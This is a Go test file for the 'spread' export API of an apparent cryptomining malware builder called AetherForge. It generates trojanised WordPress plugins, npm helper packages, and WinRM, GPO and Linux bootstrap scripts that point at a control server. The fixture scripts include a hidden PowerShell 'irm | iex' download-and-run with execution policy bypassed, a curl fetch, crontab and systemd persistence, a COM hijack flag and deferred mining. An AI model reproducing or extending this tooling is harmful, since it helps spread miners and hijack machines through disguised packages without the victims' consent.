package api import ( "archive/zip" "bytes" "encoding/json" "io" "net/http" "net/http/httptest" "os" "path/filepath" "strings" "testing" ) func writeSpreadTemplates(t *testing.T, root string) { t.Helper() wpDir := filepath.Join(root, "templates", "wordpress-plugin", "plugin-template") if err := os.MkdirAll(wpDir, 0755); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(wpDir, "plugin.php"), []byte("{{SERVER_URL}}{{QUERY_SUFFIX}}"), 0644); err != nil { t.Fatal(err) } winrmDir := filepath.Join(root, "templates", "spread", "winrm") if err := os.MkdirAll(winrmDir, 0755); err != nil { t.Fatal(err) } winrmScript := `# WinRM bootstrap Enable-PSRemoting -Force -SkipNetworkProfileCheck $url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}' Start-Process -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden powershell.exe -EncodedCommand $encoded COM={{COM_HIJACK}} ` if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0644); err != nil { t.Fatal(err) } linuxDir := filepath.Join(root, "templates", "spread", "linux") if err := os.MkdirAll(linuxDir, 0755); err != nil { t.Fatal(err) } linuxScript := `#!/bin/sh LOTL_MODE='{{LOTL_MODE}}' curl -fsSL "{{SERVER_URL}}/get?os=linux{{QUERY_SUFFIX}}" systemd-run --user --unit=aetherforge-worker.service persist_crontab() { crontab -; } ` if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0755); err != nil { t.Fatal(err) } entDir := filepath.Join(root, "templates", "spread", "enterprise") if err := os.MkdirAll(entDir, 0755); err != nil { t.Fatal(err) } gpoScript := `# GPO computer startup script $installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}' $env:AETHER_DEFER_MINING = '1' powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex" ` if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0644); err != nil { t.Fatal(err) } } func readZipEntries(t *testing.T, body []byte) map[string]string { t.Helper() zr, err := zip.NewReader(bytes.NewReader(body), int64(len(body))) if err != nil { t.Fatal(err) } out := make(map[string]string) for _, f := range zr.File { rc, err := f.Open() if err != nil { t.Fatal(err) } data, err := io.ReadAll(rc) rc.Close() if err != nil { t.Fatal(err) } out[f.Name] = string(data) } return out } func TestExportWordPressPluginZIP(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{ "build_id": "build-abc", "server_url": "https://deck.example:8989", "site_name": "My Blog", }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportWordPressPlugin(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } if ct := rec.Header().Get("Content-Type"); ct != "application/zip" { t.Fatalf("content-type %q", ct) } if !strings.Contains(rec.Header().Get("Content-Disposition"), "my-blog-wordpress-plugin.zip") { t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition")) } entries := readZipEntries(t, rec.Body.Bytes()) php, ok := entries["my-blog/my-blog.php"] if !ok { t.Fatalf("expected my-blog/my-blog.php in zip, got %v", entries) } wantURL := "https://deck.example:8989/get?c=wp-my-blog&pin=build-abc" if !strings.Contains(php, wantURL) { t.Fatalf("php missing download url %q: %s", wantURL, php) } if readme, ok := entries["my-blog/readme.txt"]; !ok || !strings.Contains(readme, "wp-my-blog") { t.Fatalf("readme missing campaign: %v", entries["my-blog/readme.txt"]) } } func TestExportNpmHelperZIP(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{ "build_id": "pin-1", "server_url": "https://deck.example", "campaign": "ci-bootstrap", }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/npm-helper-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportNpmHelper(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } entries := readZipEntries(t, rec.Body.Bytes()) pkg := entries["package.json"] if !strings.Contains(pkg, "@aetherforge/ci-bootstrap-helper") { t.Fatalf("package.json: %s", pkg) } if !strings.Contains(pkg, "https://deck.example/install.sh?pin=pin-1&c=ci-bootstrap") { t.Fatalf("package.json missing install url: %s", pkg) } } func TestExportSpreadKitZIP(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{ "server_url": "https://deck.example", "campaign": "wave-a", }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-kit-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportSpreadKit(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } entries := readZipEntries(t, rec.Body.Bytes()) if !strings.Contains(entries["index.html"], "https://deck.example?c=wave-a") { t.Fatalf("index.html: %s", entries["index.html"]) } } func TestExportSpreadTemplateZIP(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]interface{}{ "template": "winrm", "server_url": "https://deck.example", "build_id": "pin-9", "campaign": "winrm-lab", "com_hijack": true, }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportSpreadTemplate(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } entries := readZipEntries(t, rec.Body.Bytes()) if !strings.Contains(entries["bootstrap.ps1"], "https://deck.example/get?os=windows&pin=pin-9&c=winrm-lab") { t.Fatalf("bootstrap.ps1: %s", entries["bootstrap.ps1"]) } if !strings.Contains(entries["bootstrap.ps1"], "COM=true") { t.Fatalf("expected COM_HIJACK replacement: %s", entries["bootstrap.ps1"]) } } func TestExportSpreadTemplateRequiresTemplate(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{"server_url": "https://x"}) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportSpreadTemplate(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status %d", rec.Code) } } func TestExportSpreadTemplateGPO(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{ "template": "gpo", "server_url": "https://deck.example", "build_id": "pin-gpo", "campaign": "domain-wave", }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportSpreadTemplate(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } if !strings.Contains(rec.Header().Get("Content-Disposition"), "aetherforge-gpo-startup.zip") { t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition")) } entries := readZipEntries(t, rec.Body.Bytes()) script := entries["gpo-startup.ps1"] for _, marker := range []string{ "https://deck.example/install.ps1", "pin=pin-gpo", "c=domain-wave", "AETHER_DEFER_MINING", } { if !strings.Contains(script, marker) { t.Fatalf("gpo script missing %q: %s", marker, script) } } } func TestExportSpreadTemplateLinuxLOTL(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{ "template": "linux-lotl", "server_url": "https://deck.example", "build_id": "pin-lnx", "campaign": "ssh-wave", "lotl_mode": "both", }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportSpreadTemplate(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } entries := readZipEntries(t, rec.Body.Bytes()) script := entries["lotl-bootstrap.sh"] for _, marker := range []string{ "https://deck.example/get?os=linux", "pin=pin-lnx", "LOTL_MODE='both'", "systemd-run --user", "crontab", } { if !strings.Contains(script, marker) { t.Fatalf("linux script missing %q: %s", marker, script) } } } func TestSpreadTemplateRejectsUnknownLane(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{ "template": "bogus-lane", "server_url": "https://deck.example", }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportSpreadTemplate(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status %d body=%s", rec.Code, rec.Body.String()) } } func TestSpreadTemplateRequiresServerURL(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{"template": "winrm"}) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportSpreadTemplate(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status %d", rec.Code) } } func TestExportSpreadTemplateWinRMMarkers(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]interface{}{ "template": "winrm", "server_url": "https://deck.example", "build_id": "pin-wrm", "campaign": "winrm-lab", "com_hijack": true, }) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportSpreadTemplate(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } entries := readZipEntries(t, rec.Body.Bytes()) script := entries["bootstrap.ps1"] for _, marker := range []string{ "Enable-PSRemoting", "https://deck.example/get?os=windows", "--spread-install", "--defer-mining", "COM=true", } { if !strings.Contains(script, marker) { t.Fatalf("winrm script missing %q: %s", marker, script) } } } func TestExportWordPressPluginRequiresSiteName(t *testing.T) { root := t.TempDir() writeSpreadTemplates(t, root) h := NewSpreadHandler(nil, t.TempDir(), root, nil) body, _ := json.Marshal(map[string]string{"server_url": "https://x"}) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body)) rec := httptest.NewRecorder() h.ExportWordPressPlugin(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status %d", rec.Code) } }